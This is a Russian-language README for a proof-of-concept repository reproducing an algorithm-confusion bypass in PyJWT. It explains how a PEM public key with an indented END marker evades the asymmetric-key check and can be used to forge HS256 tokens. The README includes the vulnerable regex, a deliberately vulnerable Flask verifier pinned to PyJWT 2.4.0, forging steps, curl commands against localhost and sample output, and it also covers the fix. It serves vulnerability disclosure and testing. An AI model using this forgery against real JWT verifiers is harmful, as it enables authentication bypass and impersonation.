
PoC эксплуатируемости для CVE-2026-102-268 (обход обнаружения асимметричного PEM в PyJWT).
Результат анализа эксплуатируемости: первопричина подтверждена, и сквозная эксплуатация воспроизводима. Открытый ключ PEM с изменёнными пробельными символами обходит защиту
is_pem_format()в PyJWT и принимается как допустимый секрет HMAC, что позволяет полностью подделывать токены HS256 против любого верификатора, который включаетRS256вместе сHS256в список разрешённых алгоритмов. Подробности см. в разделе Анализ.
CVE-2026-102268 — это уязвимость путаницы алгоритмов в PyJWT. Перед использованием любого ключа в качестве секрета HMAC метод HMACAlgorithm.prepare_key() вызывает is_pem_format(), чтобы отклонить ключи, похожие на асимметричный ключ или сертификат в кодировке PEM — стандартная защита от атак путаницы RS256/HS256.
is_pem_format() — это единственное регулярное выражение, которое требует точного соседства \r?\n между телом ключа и маркерами BEGIN/END. Собственный загрузчик PEM из cryptography такого требования не имеет. Файл PEM с пробельными символами, примыкающими к маркеру, с терминаторами строк только в виде CR или свёрнутый в одну строку, разбирается как совершенно допустимый ключ функцией cryptography.load_pem_public_key(), тогда как is_pem_format() возвращает False для тех же самых байтов.
Следствие: защита от асимметричного ключа никогда не срабатывает, открытый ключ принимается как секрет HMAC, и любой, кто владеет этим открытым ключом — который по определению является публичным — может создать действительный токен HS256 для любого верификатора, который включает в список разрешённых алгоритмов одновременно RS256 и HS256.
Этот репозиторий содержит минимальный верификатор на Flask и ключ для воспроизведения, чтобы подтвердить это утверждение сквозным образом.
| Затронутый диапазон | Исправлено в |
|---|---|
| < 2.14.0 | 2.14.0 |
Уязвимая проверка в jwt/utils.py (все версии до 2.14.0):
# jwt/utils.py — vulnerable
_PEM_RE = re.compile(
b"----[- ]BEGIN ("
+ b"|".join(_PEMS)
+ b""")[- ]----\r?
.+?\r?
----[- ]END \1[- ]----\r?\n?"""
)
def is_pem_format(key: bytes) -> bool:
return bool(_PEM_RE.search(key))
Условие на её основе в jwt/algorithms.py:
# jwt/algorithms.py — HMACAlgorithm.prepare_key()
if is_pem_format(key) or is_ssh_key(key):
raise InvalidKeyError(
"The specified key is an asymmetric key or x509 certificate and"
" should not be used as an HMAC secret."
)
Разделители [- ] в регулярном выражении допускают только один дефис или пробел, непосредственно примыкающий к дефисам маркера. Любые другие пробельные символы между завершающим переводом строки тела ключа и маркером END — отступ, лишний \r, переформатированная в одну строку запись — приводят к неудаче сопоставления, поэтому is_pem_format() сообщает False для файла, который cryptography разбирает без нареканий.
Исправление (коммит 8b4e233, выпущено в 2.14.0) заменяет регулярное выражение однопроходным сканером по поддерживаемому набору маркеров BEGIN/END, который не зависит от точного соседства переводов строк — закрывая этот обход и в том же изменении связанную с ним ReDoS-уязвимость в той же функции (CVE-2026-102270).
public_key.pem в этом репозитории — обычный 2048-битный открытый ключ RSA с одним изменением: строка -----END PUBLIC KEY----- имеет отступ в четыре пробела.
1wIDAQAB
-----END PUBLIC KEY-----
openssl rsa -pubin -in public_key.pem -text -noout # parses cleanly, no warning
Запуск utils.py подтверждает обход напрямую против библиотеки, независимо от приложения Flask:
$ python utils.py
JWT encoded successfully: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
JWT decoded successfully: {'some': 'payload'}
jwt.encode(..., PUBLIC_KEY, algorithm="HS256") завершается успешно. На исправленном PyJWT (≥ 2.14.0) этот же вызов вызывает InvalidKeyError — is_pem_format() корректно помечает файл как ключ PEM независимо от отступа, и путь HMAC его отклоняет. Здесь этого не происходит: отступа в четыре пробела достаточно, чтобы регулярное выражение не сработало, и байты открытого ключа принимаются как обычный секрет HMAC.
app.py воспроизводит реальное предусловие — верификатор, чей список разрешённых алгоритмов algorithms смешивает асимметричный и симметричный алгоритмы:
decoded_payload = jwt.decode(token, key=PUBLIC_KEY, algorithms=["RS256", "HS256"])
Токен, подделанный подходом из utils.py, отправленный на /verify, принимается: /verify возвращает 200 и подделанные утверждения, для токена, который никто, владеющий закрытым ключом, никогда не подписывал.
cve-2026-102268-poc/
├── Dockerfile # Python 3.9-slim, installs PyJWT==2.4.0 (vulnerable)
├── podman-compose.yaml # Single-service compose for the verifier
├── requirements.txt # Flask, Werkzeug, PyJWT==2.4.0
├── app.py # Flask /verify route — algorithms=["RS256","HS256"]
├── utils.py # Standalone PoC: signs + verifies HS256 with PUBLIC_KEY
├── public_key.pem # RSA public key, END marker indented by 4 spaces
└── README.md
| Инструмент | Версия | Примечания |
|---|---|---|
| Podman | ≥ 4.0 | Docker тоже подойдёт |
| Python | ≥ 3.9 | Только для локального запуска utils.py |
| curl | любая | Для прямого обращения к /verify |
podman-compose up -d
Подождите несколько секунд, затем убедитесь, что сервис запущен:
curl -si http://localhost:8080/verify -X POST \
-H 'Content-Type: application/json' -d '{}' | head -1
# Expected: HTTP/1.1 400 (missing token, but the service is reachable)
python utils.py
Это подписывает {"some": "payload"} с помощью public_key.pem, используя HS256, и выводит полученный JWT — примитив подделки. Скопируйте закодированный токен.
curl -s http://localhost:8080/verify \
-H 'Content-Type: application/json' \
-d '{"token": "<forged-jwt-here>"}'
podman-compose down
Повторите шаг 2 с установленным PyJWT>=2.14.0 вместо закреплённого 2.4.0 в requirements.txt. jwt.encode() вызовет InvalidKeyError ещё до того, как токен будет создан.
============================================================
CVE-2026-102268 — PyJWT Asymmetric-PEM Detection Bypass PoC
============================================================
Key : public_key.pem (RSA public key, END marker indented)
Target : http://localhost:8080/verify
------------------------------------------------------------
[1] Signing forged token with PUBLIC_KEY as HS256 secret...
[+] JWT encoded successfully:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzb21lIjoicGF5bG9hZCJ9...